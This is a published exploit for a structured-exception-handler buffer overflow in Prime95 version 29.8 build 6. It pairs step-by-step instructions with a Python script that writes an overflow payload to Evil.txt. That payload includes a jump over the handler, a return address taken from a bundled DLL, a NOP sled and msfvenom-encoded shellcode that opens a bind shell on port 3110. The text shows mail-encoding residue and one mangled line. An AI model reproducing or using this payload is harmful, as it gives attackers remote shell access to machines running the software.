# Exploit Title: Prime95 Version 29.8 build 6 - Buffer Overflow (SEH)# Date: 2019-12-22# Vendor Homepage: https://www.mersenne.org# Software Link: http://www.mersenne.org/ftp_root/gimps/p95v298b6.win32.zip# Exploit Author: Achilles# Tested Version: 29.8 build 6# Tested on: Windows 7 x64# 1.- Run python code:Prime95.py# 2.- Open EVIL.txt and copy content to Clipboard# 3.- Open Prime95.exe go to PrimeNet# 4.- Paste the Content of EVIL.txt into the field "Optional User ID and Optional Computer Name"# 5.- Click Connection Paste the Content of EVIL.txt into the field "Option al proxy Host"# 6.- Press ok Twice and you will have a bind shell port 3110# 7.- Greetings go:XiDreamzzXi,Metatron#!/usr/bin/env python
import struct
buffer =3D "\x41"* 660
nseh =3D "\xeb\x06\x90\x90"#jmp short 6
seh=3Dstruct.pack('<L',0x6ee410b1)#libhwloc-15.dll
nops =3D"\x90"* 20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python#badchars "\x00\x0a\x0d"
shellcode =3D ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"=20
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8""\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b""\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07""\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5""\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f""\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02""\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59""\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7""\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb""\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87""\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01""\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7""\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45""\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49""\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1""\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9""\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c""\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64""\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38""\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3""\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0""\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86""\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e""\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7""\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4""\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef""\x77\x03\x31\x3a")
payload =3D buffer + nseh + seh + nops + shellcode
try:
Dopen("Evil.txt","w")
print "[+] Creating %s bytes evil payload.."%len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
